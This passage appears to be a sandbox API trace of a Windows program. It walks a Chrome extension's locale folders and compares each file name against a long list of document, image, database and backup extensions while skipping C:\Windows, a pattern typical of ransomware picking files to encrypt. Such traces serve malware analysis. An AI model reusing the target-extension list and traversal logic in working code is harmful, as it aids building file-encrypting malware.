(lpString=".html") returned 5 [0056.249] lstrcmpiW (lpString1=".html", lpString2=".json") returned -1 [0056.249] lstrlenW (lpString=".icb") returned 4 [0056.249] lstrcmpiW (lpString1=".icb", lpString2="json") returned -1 [0056.249] lstrlenW (lpString=".ics") returned 4 [0056.249] lstrcmpiW (lpString1=".ics", lpString2="json") returned -1 [0056.249] lstrlenW (lpString=".iff") returned 4 [0056.249] lstrcmpiW (lpString1=".iff", lpString2="json") returned -1 [0056.249] lstrlenW (lpString=".inc") returned 4 [0056.249] lstrcmpiW (lpString1=".inc", lpString2="json") returned -1 [0056.249] lstrlenW (lpString=".indd") returned 5 [0056.249] lstrcmpiW (lpString1=".indd", lpString2=".json") returned -1 [0056.249] lstrlenW (lpString=".ini") returned 4 [0056.249] lstrcmpiW (lpString1=".ini", lpString2="json") returned -1 [0056.249] lstrlenW (lpString=".iqy") returned 4 [0056.249] lstrcmpiW (lpString1=".iqy", lpString2="json") returned -1 [0056.249] lstrlenW (lpString=".j2c") returned 4 [0056.249] lstrcmpiW (lpString1=".j2c", lpString2="json") returned -1 [0056.249] lstrlenW (lpString=".j2k") returned 4 [0056.249] lstrcmpiW (lpString1=".j2k", lpString2="json") returned -1 [0056.250] lstrlenW (lpString=".java") returned 5 [0056.250] lstrcmpiW (lpString1=".java", lpString2=".json") returned -1 [0056.250] lstrlenW (lpString=".jp2") returned 4 [0056.250] lstrcmpiW (lpString1=".jp2", lpString2="json") returned -1 [0056.250] lstrlenW (lpString=".jpc") returned 4 [0056.250] lstrcmpiW (lpString1=".jpc", lpString2="json") returned -1 [0056.250] lstrlenW (lpString=".jpe") returned 4 [0056.250] lstrcmpiW (lpString1=".jpe", lpString2="json") returned -1 [0056.250] lstrlenW (lpString=".jpeg") returned 5 [0056.250] lstrcmpiW (lpString1=".jpeg", lpString2=".json") returned -1 [0056.250] lstrlenW (lpString=".jpf") returned 4 [0056.250] lstrcmpiW (lpString1=".jpf", lpString2="json") returned -1 [0056.250] lstrlenW (lpString=".jpg") returned 4 [0056.250] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0056.250] lstrlenW (lpString=".jpx") returned 4 [0056.250] lstrcmpiW (lpString1=".jpx", lpString2="json") returned -1 [0056.250] lstrlenW (lpString=".js") returned 3 [0056.250] lstrcmpiW (lpString1=".js", lpString2="son") returned -1 [0056.250] lstrlenW (lpString=".jsf") returned 4 [0056.250] lstrcmpiW (lpString1=".jsf", lpString2="json") returned -1 [0056.250] lstrlenW (lpString=".json") returned 5 [0056.250] lstrcmpiW (lpString1=".json", lpString2=".json") returned 0 [0056.250] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83462fc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83462fc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3f4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0056.250] FindClose (in: hFindFile=0x7cbe10 | out: hFindFile=0x7cbe10) returned 1 [0056.250] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4ee00d8 | out: hHeap=0x790000) returned 1 [0056.250] FindNextFileW (in: hFindFile=0x7cbd10, lpFindFileData=0x473df30 | out: lpFindFileData=0x473df30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83467de0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8346cc00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8346cc00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fil", cAlternateFileName="")) returned 1 [0056.250] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil") returned 147 [0056.250] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil") returned 1 [0056.250] lstrlenW (lpString="fil") returned 3 [0056.250] lstrcmpiW (lpString1="C:\\Windows", lpString2="fil") returned -1 [0056.250] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4ee00d8 [0056.251] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil") returned 147 [0056.251] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\*", lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83467de0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8346cc00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8346cc00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbe10 [0056.251] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83467de0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8346cc00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8346cc00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.251] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8346cc00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83471a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4082, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0056.251] lstrlenW (lpString="messages.json") returned 13 [0056.251] lstrlenW (lpString=".1cd") returned 4 [0056.251] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0056.251] lstrlenW (lpString=".3ds") returned 4 [0056.251] lstrcmpiW (lpString1=".3ds", lpString2="json") returned -1 [0056.251] lstrlenW (lpString=".3fr") returned 4 [0056.251] lstrcmpiW (lpString1=".3fr", lpString2="json") returned -1 [0056.251] lstrlenW (lpString=".3g2") returned 4 [0056.251] lstrcmpiW (lpString1=".3g2", lpString2="json") returned -1 [0056.251] lstrlenW (lpString=".3gp") returned 4 [0056.251] lstrcmpiW (lpString1=".3gp", lpString2="json") returned -1 [0056.251] lstrlenW (lpString=".7z") returned 3 [0056.251] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0056.251] lstrlenW (lpString=".accda") returned 6 [0056.251] lstrcmpiW (lpString1=".accda", lpString2="s.json") returned -1 [0056.251] lstrlenW (lpString=".accdb") returned 6 [0056.251] lstrcmpiW (lpString1=".accdb", lpString2="s.json") returned -1 [0056.251] lstrlenW (lpString=".accdc") returned 6 [0056.251] lstrcmpiW (lpString1=".accdc", lpString2="s.json") returned -1 [0056.251] lstrlenW (lpString=".accde") returned 6 [0056.251] lstrcmpiW (lpString1=".accde", lpString2="s.json") returned -1 [0056.251] lstrlenW (lpString=".accdt") returned 6 [0056.251] lstrcmpiW (lpString1=".accdt", lpString2="s.json") returned -1 [0056.251] lstrlenW (lpString=".accdw") returned 6 [0056.252] lstrcmpiW (lpString1=".accdw", lpString2="s.json") returned -1 [0056.252] lstrlenW (lpString=".adb") returned 4 [0056.252] lstrcmpiW (lpString1=".adb", lpString2="json") returned -1 [0056.252] lstrlenW (lpString=".adp") returned 4 [0056.252] lstrcmpiW (lpString1=".adp", lpString2="json") returned -1 [0056.252] lstrlenW (lpString=".ai") returned 3 [0056.252] lstrcmpiW (lpString1=".ai", lpString2="son") returned -1 [0056.252] lstrlenW (lpString=".ai3") returned 4 [0056.252] lstrcmpiW (lpString1=".ai3", lpString2="json") returned -1 [0056.252] lstrlenW (lpString=".ai4") returned 4 [0056.252] lstrcmpiW (lpString1=".ai4", lpString2="json") returned -1 [0056.252] lstrlenW (lpString=".ai5") returned 4 [0056.252] lstrcmpiW (lpString1=".ai5", lpString2="json") returned -1 [0056.252] lstrlenW (lpString=".ai6") returned 4 [0056.252] lstrcmpiW (lpString1=".ai6", lpString2="json") returned -1 [0056.252] lstrlenW (lpString=".ai7") returned 4 [0056.252] lstrcmpiW (lpString1=".ai7", lpString2="json") returned -1 [0056.252] lstrlenW (lpString=".ai8") returned 4 [0056.252] lstrcmpiW (lpString1=".ai8", lpString2="json") returned -1 [0056.252] lstrlenW (lpString=".anim") returned 5 [0056.252] lstrcmpiW (lpString1=".anim", lpString2=".json") returned -1 [0056.252] lstrlenW (lpString=".arw") returned 4 [0056.252] lstrcmpiW (lpString1=".arw", lpString2="json") returned -1 [0056.252] lstrlenW (lpString=".as") returned 3 [0056.252] lstrcmpiW (lpString1=".as", lpString2="son") returned -1 [0056.252] lstrlenW (lpString=".asa") returned 4 [0056.252] lstrcmpiW (lpString1=".asa", lpString2="json") returned -1 [0056.252] lstrlenW (lpString=".asc") returned 4 [0056.252] lstrcmpiW (lpString1=".asc", lpString2="json") returned -1 [0056.252] lstrlenW (lpString=".ascx") returned 5 [0056.252] lstrcmpiW (lpString1=".ascx", lpString2=".json") returned -1 [0056.252] lstrlenW (lpString=".asm") returned 4 [0056.252] lstrcmpiW (lpString1=".asm", lpString2="json") returned -1 [0056.252] lstrlenW (lpString=".asmx") returned 5 [0056.252] lstrcmpiW (lpString1=".asmx", lpString2=".json") returned -1 [0056.253] lstrlenW (lpString=".asp") returned 4 [0056.253] lstrcmpiW (lpString1=".asp", lpString2="json") returned -1 [0056.253] lstrlenW (lpString=".aspx") returned 5 [0056.253] lstrcmpiW (lpString1=".aspx", lpString2=".json") returned -1 [0056.253] lstrlenW (lpString=".asr") returned 4 [0056.253] lstrcmpiW (lpString1=".asr", lpString2="json") returned -1 [0056.253] lstrlenW (lpString=".asx") returned 4 [0056.253] lstrcmpiW (lpString1=".asx", lpString2="json") returned -1 [0056.253] lstrlenW (lpString=".avi") returned 4 [0056.253] lstrcmpiW (lpString1=".avi", lpString2="json") returned -1 [0056.253] lstrlenW (lpString=".avs") returned 4 [0056.253] lstrcmpiW (lpString1=".avs", lpString2="json") returned -1 [0056.253] lstrlenW (lpString=".backup") returned 7 [0056.253] lstrcmpiW (lpString1=".backup", lpString2="es.json") returned -1 [0056.253] lstrlenW (lpString=".bak") returned 4 [0056.253] lstrcmpiW (lpString1=".bak", lpString2="json") returned -1 [0056.253] lstrlenW (lpString=".bay") returned 4 [0056.253] lstrcmpiW (lpString1=".bay", lpString2="json") returned -1 [0056.253] lstrlenW (lpString=".bd") returned 3 [0056.253] lstrcmpiW (lpString1=".bd", lpString2="son") returned -1 [0056.253] lstrlenW (lpString=".bin") returned 4 [0056.253] lstrcmpiW (lpString1=".bin", lpString2="json") returned -1 [0056.253] lstrlenW (lpString=".bmp") returned 4 [0056.253] lstrcmpiW (lpString1=".bmp", lpString2="json") returned -1 [0056.253] lstrlenW (lpString=".bz2") returned 4 [0056.253] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0056.253] lstrlenW (lpString=".c") returned 2 [0056.253] lstrcmpiW (lpString1=".c", lpString2="on") returned -1 [0056.253] lstrlenW (lpString=".cdr") returned 4 [0056.253] lstrcmpiW (lpString1=".cdr", lpString2="json") returned -1 [0056.253] lstrlenW (lpString=".cer") returned 4 [0056.253] lstrcmpiW (lpString1=".cer", lpString2="json") returned -1 [0056.253] lstrlenW (lpString=".cf") returned 3 [0056.253] lstrcmpiW (lpString1=".cf", lpString2="son") returned -1 [0056.253] lstrlenW (lpString=".cfc") returned 4 [0056.254] lstrcmpiW (lpString1=".cfc", lpString2="json") returned -1 [0056.254] lstrlenW (lpString=".cfm") returned 4 [0056.254] lstrcmpiW (lpString1=".cfm", lpString2="json") returned -1 [0056.254] lstrlenW (lpString=".cfml") returned 5 [0056.254] lstrcmpiW (lpString1=".cfml", lpString2=".json") returned -1 [0056.254] lstrlenW (lpString=".cfu") returned 4 [0056.254] lstrcmpiW (lpString1=".cfu", lpString2="json") returned -1 [0056.254] lstrlenW (lpString=".chm") returned 4 [0056.254] lstrcmpiW (lpString1=".chm", lpString2="json") returned -1 [0056.254] lstrlenW (lpString=".cin") returned 4 [0056.254] lstrcmpiW (lpString1=".cin", lpString2="json") returned -1 [0056.254] lstrlenW (lpString=".class") returned 6 [0056.254] lstrcmpiW (lpString1=".class", lpString2="s.json") returned -1 [0056.254] lstrlenW (lpString=".clx") returned 4 [0056.254] lstrcmpiW (lpString1=".clx", lpString2="json") returned -1 [0056.254] lstrlenW (lpString=".config") returned 7 [0056.254] lstrcmpiW (lpString1=".config", lpString2="es.json") returned -1 [0056.254] lstrlenW (lpString=".cpp") returned 4 [0056.254] lstrcmpiW (lpString1=".cpp", lpString2="json") returned -1 [0056.254] lstrlenW (lpString=".cr2") returned 4 [0056.254] lstrcmpiW (lpString1=".cr2", lpString2="json") returned -1 [0056.254] lstrlenW (lpString=".crt") returned 4 [0056.254] lstrcmpiW (lpString1=".crt", lpString2="json") returned -1 [0056.254] lstrlenW (lpString=".crw") returned 4 [0056.254] lstrcmpiW (lpString1=".crw", lpString2="json") returned -1 [0056.254] lstrlenW (lpString=".cs") returned 3 [0056.254] lstrcmpiW (lpString1=".cs", lpString2="son") returned -1 [0056.254] lstrlenW (lpString=".css") returned 4 [0056.254] lstrcmpiW (lpString1=".css", lpString2="json") returned -1 [0056.254] lstrlenW (lpString=".csv") returned 4 [0056.254] lstrcmpiW (lpString1=".csv", lpString2="json") returned -1 [0056.254] lstrlenW (lpString=".cub") returned 4 [0056.254] lstrcmpiW (lpString1=".cub", lpString2="json") returned -1 [0056.254] lstrlenW (lpString=".dae") returned 4 [0056.254] lstrcmpiW (lpString1=".dae", lpString2="json") returned -1 [0056.254] lstrlenW (lpString=".dat") returned 4 [0056.255] lstrcmpiW (lpString1=".dat", lpString2="json") returned -1 [0056.255] lstrlenW (lpString=".db") returned 3 [0056.255] lstrcmpiW (lpString1=".db", lpString2="son") returned -1 [0056.255] lstrlenW (lpString=".dbf") returned 4 [0056.255] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0056.255] lstrlenW (lpString=".dbx") returned 4 [0056.255] lstrcmpiW (lpString1=".dbx", lpString2="json") returned -1 [0056.255] lstrlenW (lpString=".dc3") returned 4 [0056.255] lstrcmpiW (lpString1=".dc3", lpString2="json") returned -1 [0056.255] lstrlenW (lpString=".dcm") returned 4 [0056.255] lstrcmpiW (lpString1=".dcm", lpString2="json") returned -1 [0056.255] lstrlenW (lpString=".dcr") returned 4 [0056.255] lstrcmpiW (lpString1=".dcr", lpString2="json") returned -1 [0056.255] lstrlenW (lpString=".der") returned 4 [0056.255] lstrcmpiW (lpString1=".der", lpString2="json") returned -1 [0056.255] lstrlenW (lpString=".dib") returned 4 [0056.255] lstrcmpiW (lpString1=".dib", lpString2="json") returned -1 [0056.255] lstrlenW (lpString=".dic") returned 4 [0056.255] lstrcmpiW (lpString1=".dic", lpString2="json") returned -1 [0056.255] lstrlenW (lpString=".dif") returned 4 [0056.255] lstrcmpiW (lpString1=".dif", lpString2="json") returned -1 [0056.255] lstrlenW (lpString=".divx") returned 5 [0056.255] lstrcmpiW (lpString1=".divx", lpString2=".json") returned -1 [0056.255] lstrlenW (lpString=".djvu") returned 5 [0056.255] lstrcmpiW (lpString1=".djvu", lpString2=".json") returned -1 [0056.255] lstrlenW (lpString=".dng") returned 4 [0056.255] lstrcmpiW (lpString1=".dng", lpString2="json") returned -1 [0056.255] lstrlenW (lpString=".doc") returned 4 [0056.255] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0056.255] lstrlenW (lpString=".docm") returned 5 [0056.255] lstrcmpiW (lpString1=".docm", lpString2=".json") returned -1 [0056.255] lstrlenW (lpString=".docx") returned 5 [0056.255] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0056.255] lstrlenW (lpString=".dot") returned 4 [0056.255] lstrcmpiW (lpString1=".dot", lpString2="json") returned -1 [0056.255] lstrlenW (lpString=".dotm") returned 5 [0056.256] lstrcmpiW (lpString1=".dotm", lpString2=".json") returned -1 [0056.256] lstrlenW (lpString=".dotx") returned 5 [0056.256] lstrcmpiW (lpString1=".dotx", lpString2=".json") returned -1 [0056.256] lstrlenW (lpString=".dpx") returned 4 [0056.256] lstrcmpiW (lpString1=".dpx", lpString2="json") returned -1 [0056.256] lstrlenW (lpString=".dqy") returned 4 [0056.256] lstrcmpiW (lpString1=".dqy", lpString2="json") returned -1 [0056.256] lstrlenW (lpString=".dsn") returned 4 [0056.256] lstrcmpiW (lpString1=".dsn", lpString2="json") returned -1 [0056.256] lstrlenW (lpString=".dt") returned 3 [0056.256] lstrcmpiW (lpString1=".dt", lpString2="son") returned -1 [0056.256] lstrlenW (lpString=".dtd") returned 4 [0056.256] lstrcmpiW (lpString1=".dtd", lpString2="json") returned -1 [0056.256] lstrlenW (lpString=".dwg") returned 4 [0056.256] lstrcmpiW (lpString1=".dwg", lpString2="json") returned -1 [0056.256] lstrlenW (lpString=".dwt") returned 4 [0056.256] lstrcmpiW (lpString1=".dwt", lpString2="json") returned -1 [0056.256] lstrlenW (lpString=".dx") returned 3 [0056.256] lstrcmpiW (lpString1=".dx", lpString2="son") returned -1 [0056.256] lstrlenW (lpString=".dxf") returned 4 [0056.256] lstrcmpiW (lpString1=".dxf", lpString2="json") returned -1 [0056.256] lstrlenW (lpString=".edml") returned 5 [0056.256] lstrcmpiW (lpString1=".edml", lpString2=".json") returned -1 [0056.256] lstrlenW (lpString=".efd") returned 4 [0056.256] lstrcmpiW (lpString1=".efd", lpString2="json") returned -1 [0056.256] lstrlenW (lpString=".elf") returned 4 [0056.256] lstrcmpiW (lpString1=".elf", lpString2="json") returned -1 [0056.256] lstrlenW (lpString=".emf") returned 4 [0056.256] lstrcmpiW (lpString1=".emf", lpString2="json") returned -1 [0056.256] lstrlenW (lpString=".emz") returned 4 [0056.256] lstrcmpiW (lpString1=".emz", lpString2="json") returned -1 [0056.256] lstrlenW (lpString=".epf") returned 4 [0056.256] lstrcmpiW (lpString1=".epf", lpString2="json") returned -1 [0056.256] lstrlenW (lpString=".eps") returned 4 [0056.256] lstrcmpiW (lpString1=".eps", lpString2="json") returned -1 [0056.256] lstrlenW (lpString=".epsf") returned 5 [0056.257] lstrcmpiW (lpString1=".epsf", lpString2=".json") returned -1 [0056.257] lstrlenW (lpString=".epsp") returned 5 [0056.257] lstrcmpiW (lpString1=".epsp", lpString2=".json") returned -1 [0056.257] lstrlenW (lpString=".erf") returned 4 [0056.257] lstrcmpiW (lpString1=".erf", lpString2="json") returned -1 [0056.257] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8346cc00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83471a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4082, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0056.257] FindClose (in: hFindFile=0x7cbe10 | out: hFindFile=0x7cbe10) returned 1 [0056.257] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4ee00d8 | out: hHeap=0x790000) returned 1 [0056.257] FindNextFileW (in: hFindFile=0x7cbd10, lpFindFileData=0x473df30 | out: lpFindFileData=0x473df30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83476840, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83478f50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83478f50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1 [0056.257] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\*", lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83476840, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83478f50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83478f50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbe10 [0056.265] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83476840, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83478f50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83478f50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.265] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83478f50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83478f50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x419f, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0056.265] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83478f50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83478f50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x419f, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0056.265] FindClose (in: hFindFile=0x7cbe10 | out: hFindFile=0x7cbe10) returned 1 [0056.265] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4ee00d8 | out: hHeap=0x790000) returned 1 [0056.265] FindNextFileW (in: hFindFile=0x7cbd10, lpFindFileData=0x473df30 | out: lpFindFileData=0x473df30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8347dd70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83480480, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83480480, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gu", cAlternateFileName="")) returned 1 [0056.266] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\*", lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8347dd70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83480480, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83480480, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbe10 [0056.266] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8347dd70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83480480, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83480480, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.266] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83480480, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83480480, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x5079, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0056.266] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83480480, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83480480, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x5079, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0056.266] FindClose (in: hFindFile=0x7cbe10 | out: hFindFile=0x7cbe10) returned 1 [0056.266] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4ee00d8 | out: hHeap=0x790000) returned 1 [0056.266] FindNextFileW (in: hFindFile=0x7cbd10, lpFindFileData=0x473df30 | out: lpFindFileData=0x473df30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834852a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834879b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834879b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1 [0056.266] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\*", lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834852a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834879b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834879b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) 